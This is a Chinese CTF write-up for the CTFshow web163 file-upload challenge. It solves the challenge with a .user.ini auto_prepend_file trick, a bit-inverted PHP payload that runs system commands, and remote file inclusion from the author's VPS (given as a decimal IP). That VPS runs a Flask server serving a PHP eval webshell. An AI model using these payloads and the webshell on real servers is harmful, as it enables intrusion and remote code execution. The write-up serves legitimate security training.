0
点赞
收藏
分享

微信扫一扫

CTFshow 文件上传 web163

七千22 2022-02-16 阅读 80

目录


源码


思路

先上传.user.ini

上传成功
在这里插入图片描述

GIF89a

auto_prepend_file=png

然后上传png

GIF89a
<?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>

取反脚本

$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")";
//%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1

访问upload,提示没有找到文件

在这里插入图片描述
访问/upload/png,发现文件不存在,由于题库限制请求,也不能用条件竞争来解

参考了其他师傅的wp后,发现可以用远程文件包含来解这道题

vps ip转数字

user.ini

GIF89a
auto_prepend_file=http://2002459365 # 也可以直接用我的

但又发现直接包含php文件提示400

在这里插入图片描述
后面用了flask框架,return php代码就好了,在文件包含的时候,里面的php代码会被解析.

(记得一定一定在vps上打开allow_url_include=On,忙乎了半天才发现是这个原因导致的)

代码如下

from flask import Flask
from flask import request

app = Flask(__name__)

@app.route("/")
def run_cmd():
    return "<h1>Hello World!</h1><?php echo 'kradress';eval($_POST['kradress']);?>"
if __name__ == "__main__":
    app.run(host='0.0.0.0',port =80)

访问upload,直接RCE拿到flag


总结

过程很曲折,不过也学到了很多

举报

相关推荐

0 条评论